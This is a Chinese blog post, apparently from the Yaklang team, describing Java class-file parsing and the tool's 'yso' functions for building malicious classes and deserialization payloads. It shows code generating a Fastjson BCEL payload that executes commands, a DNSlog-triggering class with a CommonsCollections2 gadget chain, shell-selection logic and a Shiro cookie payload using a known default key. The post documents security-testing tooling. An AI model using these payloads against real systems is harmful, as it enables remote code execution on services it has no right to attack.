基础设施:Yaklang Java字节码能力支持

基础设施:Yaklang Java字节码能力支持

背景
长期以来,Java漏洞的检测与利用都离不开Java环境,所以Java漏洞相关的POC或EXP几乎都是基于Java编写。(一些特殊场景也可以将class或序列化的对象以二进制的形式储存,使用http请求的header作为参数,来脱离对Java环境的依赖。)
Java代码执行漏洞一般是通过加载类的静态代码块实现,所以需要动态修改类名。使用Header作为命令的参数会有明显的特征,且有长度限制,所以最好将需要执行的命令硬编码到class里。基于且不限于以上的原因,脱离java环境是安全融合避不开的路障。
除了类加载的漏洞利用,将Gadget与Class组合,得到的payload还可适用于各种反序列化漏洞利用场景。

解析Java字节码
Yaklang 已经支持对Java序列化数据的解析与生成,可以修改一些对象的属性值。但还不够,例如动态修改类名、修改参数、变量混淆等等,都可以通过解析Java字节码实现。
Class文件是有固定结构的,各部分结构体之间没有分隔符,而是通过固定长度或顺序以区分不同结构体。Class文件包含的结构体如下。类型的u1,u2等表示1字节的无符号数、2字节的无符号数,其它的是复合结构体。

类型名称说明长度数量
u4magic魔数,识别Class文件格式4个字节1
u2minor_version副版本号(小版本)2个字节1
u2major_version主版本号(大版本)2个字节1
u2constant_pool_count常量池计数器2个字节1
cp_infoconstant_pool常量池表n个字节constant_pool_count-1
u2access_flags访问标识2个字节1
u2this_class类索引2个字节1
u2super_class父类索引2个字节1
u2interfaces_count接口计数器2个字节1
u2interfaces接口索引集合2个字节interfaces_count
u2fields_count字段计数器2个字节1
field_infofields字段表n个字节fields_count
u2methods_count方法计数器2个字节1
method_infomethods方法表n个字节methods_count
u2attributes_count属性计数器2个字节1
attribute_infoattributes属性表n个字节attributes_count

解析Java字节码可以做什么?
根据Class文件结构,解析为Go结构体,保证数据的不丢失就可以再转回字节码。通过Go结构体不仅可以实现对字节码的修改、还可以作为中间结构,可以实现Json、BECL、Bytes数据互转。

常量池是Class结构中的一个重要组成,通过对常量池的修改,可以实现动态的类名、对变量名的混淆,甚至去控制代码逻辑。
字节码转Json
如图是将test类转json后的样子,JavaClass结构清晰可见。对json修改后,可转成字节码,实现了字节码的可读、可改。

字节码转Bcel
字节码与BCEL之间可以互相转换,一些场景下可能用到BCEL,如Fastjson,使用Yaklang可轻松实现漏洞检测、利用。

// 生成fastjson

// GenerateSpringEchoEvilClassObject可选参数
// springHeader    #header回显的key、value
// springParam    #命令参数
// springRuntimeExecAction #命令执行(默认只回显不执行)
// springEchoBody #在body回显(默认在header回显)
classObj = yso.GenerateSpringEchoEvilClassObject(yso.springParam("ls"),yso.springEchoBody(),yso.springRuntimeExecAction())
bcelStr,err = yso.ToBcel(classObj)
printf("{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"%s\"}", bcelStr)
// 输出:
// {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$....

测试payload:

动态生成Class
Yaklang内置了一些常用的class(还在补充中),yso.GenerateXXXEvilClassObject系列方法可以生成ClassObject结构体,通过参数可以控制类的生成。如GenerateSpringEchoEvilClassObject的可选参数springEchoBody可设置在body回显。除了这种私有的参数,还有下面这些公有参数控制类的生成。

// evilClassName   #设置类名(默认随机类名)
// useConstructorExecutor  #通过构造函数命令执行(默认使用静态代码块)
// obfuscationClassConstantPool #对变量名进行混淆(默认开启)

下面是一些内置的类
Dnslog
Dnslog是漏洞检测常用的方式,但很多payload是通过命令执行,再通过ping触发dnslog。这种方式可能会由于环境问题或杀软拦截命令执行导致检测失败,所以提供dnslog类,通过java的Inet4Address触发Dnslog。

// 生成class字节码
classObj = yso.GenerateDNSlogEvilClassObject("dnslog.com")
classBytes,_ = yso.ToBytes(classObj)
// 生成CC2的paylaod
serObj,_ = yso.GetCommonsCollections2JavaObject(yso.useDNSLogEvilClass("dnslog.com"))
serBytes,_ = yso.ToBytes(serObj)

RuntimeExec
RuntimeExec执行命令,通过下面的方式自动选择shell

if (File.separator.equals("/")) {
    var1 = new String[]{"/bin/sh", "-c", cmd};
} else {
    var1 = new String[]{"cmd", "/C", cmd};
}

Empty SimplePrincipalCollection
可用于shiro漏洞检测

// 示例代码
key,_ = codec.DecodeBase64("4AvVhmFLUs0KTA3Kprsdag==")
serObj = yso.GetSimplePrincipalCollectionJavaObject()
serBytes,_ = yso.ToBytes(serObj)
payload = codec.PKCS5Padding(serBytes, 16)
enPayload, err = codec.AESCBCEncrypt(, payload, nil)
base64Payload = codec.EncodeBase64(append(key, enPayload...))
printf("cookie payload: %s\n",base64Payload)

XXXEcho
Tomcat/Weblogic/Spring等中间件、框架的回显

总结
完成Java字节码的能力支持后,基本可以做到完全脱离Java环境,通过Yaklang的几行代码轻松实现Java相关漏洞的检测和利用,满足各种需求。后面我们要做的就是通过图形界面构造Payload,以可视化的方式,点点点生成序列化Payload、生成Yak代码。

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值